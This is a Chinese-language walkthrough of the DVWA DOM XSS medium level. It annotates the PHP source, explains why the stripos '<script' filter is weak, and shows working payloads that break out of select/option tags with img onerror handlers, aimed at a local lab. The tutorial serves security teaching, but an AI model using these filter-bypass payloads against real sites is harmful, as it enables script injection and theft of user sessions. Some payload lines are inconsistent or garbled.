目录
DVWA(Damn Vulnerable Web Application)中的 XSS DOM关卡是用于练习和演示 DOM XSS的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对中等级别(Medium)关卡进行渗透实战。
一、XSS
XSS(Cross-Site Scripting) 指的是攻击者通过在网页中注入恶意脚本,当用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户数据、会话信息或进行其他恶意操作。核心原理就是未对用户输入或输出进行适当过滤,导致恶意代码被浏览器解析执行。
XSS类型 | 位置 | 数据流向 |
---|---|---|
反射型 XSS | 服务器端 | 用户输入 → 服务器 → 响应中包含恶意代码 |
存储型 XSS | 服务器端 | 用户输入 → 存储(数据库) → 所有用户访问时触发 |
DOM 型 XSS | 客户端 JavaScript 代码 | 用户输入 → 浏览器 DOM 操作 → 执行恶意代码 |
二、DOM型XSS
DOM 型 XSS(Document Object Model Cross-Site Scripting) 是一种特殊的 XSS 攻击,其注入点存在于客户端 JavaScript 代码中,而非服务器端。攻击者通过操控网页的 DOM 环境(如 URL 参数、表单输入等),诱导浏览器执行恶意脚本,无需服务器参与。
三、代码分析
1、index.php
进入DVWA靶场源目录,找到index.php源码。

这段代码是DVWA(Damn Vulnerable Web Application)中DOM型XSS关卡的演示页面,主要功能是:
- 根据用户选择的语言生成一个下拉菜单。
- 当用户提交选择后,URL中会包含default=参数。
- 页面JavaScript会读取URL参数并动态生成选项。
详细注释后的代码如下所示。
<?php
// 设置根目录路径
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 引入DVWA页面初始化文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
// 启动页面,要求认证和PHPIDS保护
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
// 创建新页面
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ] = 'Vulnerability: DOM Based Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'xss_d';
$page[ 'help_button' ] = 'xss_d';
$page[ 'source_button' ] = 'xss_d';
// 连接数据库
dvwaDatabaseConnect();
// 根据安全等级选择对应的级别文件
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php';
break;
}
//引入指定级别的文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_d/source/{$vulnerabilityFile}";
// 对于impossible级别,不进行URI解码
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
// 构建页面主体
$page[ 'body' ] = <<<EOF
<div class="body_padded">
<h1>Vulnerability: DOM Based Cross Site Scripting (XSS)</h1>
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
// 检查URL中是否包含default参数
if (document.location.href.indexOf("default=") >= 0) {
// 提取default参数值
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
// 动态写入选项
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
// 写入固定选项
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
EOF;
// 添加更多信息链接
$page[ 'body' ] .= "
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . "</li>
</ul>
</div>\n";
// 输出页面
dvwaHtmlEcho( $page );
?>
2、Medium.php
打开源码Medium.php,分析可知这段代码对<script做了基本的过滤,如下所示。

分析代码,当前防护措施如下所示。
- 检测<script标签:使用stripos()函数不区分大小写地检查<script字符串。
- 重定向防护:当检测到<script标签时,重定向到安全默认值详细注释代码。
但是本代码仍然存在XSS注入的可能性,具体分析如下所示。
- 不完全的标签检测 :
- 只检查了
<script
,但忽略了其他HTML标签和事件处理器。 - 可以绕过如:
<img src=x onerror=alert(1)>
或<svg onload=alert(1)>
。
- 只检查了
- 其他 XSS 向量未过滤 :
- HTML事件属性(onclick, onmouseover等)。
- JavaScript伪协议(javascript:)。
- CSS表达式。
- 其他HTML标签(img, iframe, svg等)。
详细注释后的源码如下所示。
<?php
// 检查是否存在"default"参数且不为null
if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) {
// 获取default参数值
$default = $_GET['default'];
// 检查输入中是否包含<script标签(不区分大小写)
if (stripos($default, "<script") !== false) {
// 如果检测到<script标签,重定向到默认English选项
header("location: ?default=English");
exit; // 终止脚本执行
}
}
?>
3、stripos函数
stripos() 是 PHP 中的一个字符串查找函数,用于查找字符串中首次出现的子字符串位置(不区分大小写)。
stripos(string $haystack, string $needle, int $offset = 0): int|false
参数 | 类型 | 说明 |
---|---|---|
$haystack |
string | 要在其中搜索的字符串 |
$needle |
string | 要查找的子字符串 |
$offset |
int | 可选,从哪个字符位置开始搜索(默认0) |
函数的返回值如下所示。
-
返回子字符串首次出现的位置(从0开始)
-
如果未找到,返回
false
-
注意 :可能返回
0
(在开头找到)或false
(未找到),需用!==
严格比较
与相关函数的区别如下所示。
函数 | 区分大小写 | 查找方向 | 返回位置 |
---|---|---|---|
stripos() |
不区分 | 正向 | 首次出现 |
strpos() |
区分 | 正向 | 首次出现 |
strripos() |
不区分 | 反向 | 最后一次出现 |
strrpos() |
区分 | 反向 | 最后一次出现 |
四、渗透实战
1、渗透准备
进入DVWA靶场XSS DOM关卡Medium级别,选择English,此时完整URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English

2、采用IMG标签绕过
尝试注入XSS语句<img src=0 οnerrοr=alert('mooyuan')>看效果如何,URL如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert('mooyuan')</script>
如下所示渗透失败,右键元素,搜索mooyuan信息如下所示。

3、构造option闭合
更新注入语句,构造option闭合,注入语句如下所示。
</option><img src=0 onerror=alert('mooyuan')>
完整的URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=</option><img src=0 onerror=alert('mooyuan')>
执行注入语句失败,右键元素,搜索mooyuan关键字,查看闭合,如下所示。

为何option构造闭合失败了呢,这是因为还有一个select标签,分析 如下。
<select>
标签的作用域 :<select>
标签用于定义下拉菜单,其内部只能包含<option>
或<optgroup>
子标签 ,不能直接包含其他标签(如<script>
或<img>
)。- 浏览器解析时,会严格限定
<select>
标签内的合法子元素,非<option>/<optgroup>
的标签会被视为无效内容,可能被浏览器自动修正或忽略。
<option>
标签的闭合问题 :- 若仅闭合
<option>
标签(如</option>
),但未闭合外层<select>
标签,则恶意代码(如<img src=0 onerror=...>
)仍处于<select>
标签的作用域内。 - 由于
<select>
标签不允许直接包含<img>
等标签,浏览器会将<img>
视为 无效子节点 ,不会解析其内部的事件属性(如onerror
)
- 若仅闭合
4、构造option与select双闭合
更新注入语句,构造option和select双闭合,注入语句如下所示。
>/option></select><img src=1 onerror=alert('mooyuan')>
完整的URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=>/option></select><img src=1 onerror=alert('mooyuan')>

5、构造select单闭合
更新注入语句,构造select单闭合,注入语句如下所示。
</select><img src=1 onerror=alert('mooyuan')>
完整的URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=</select><img src=1 onerror=alert('mooyuan')>
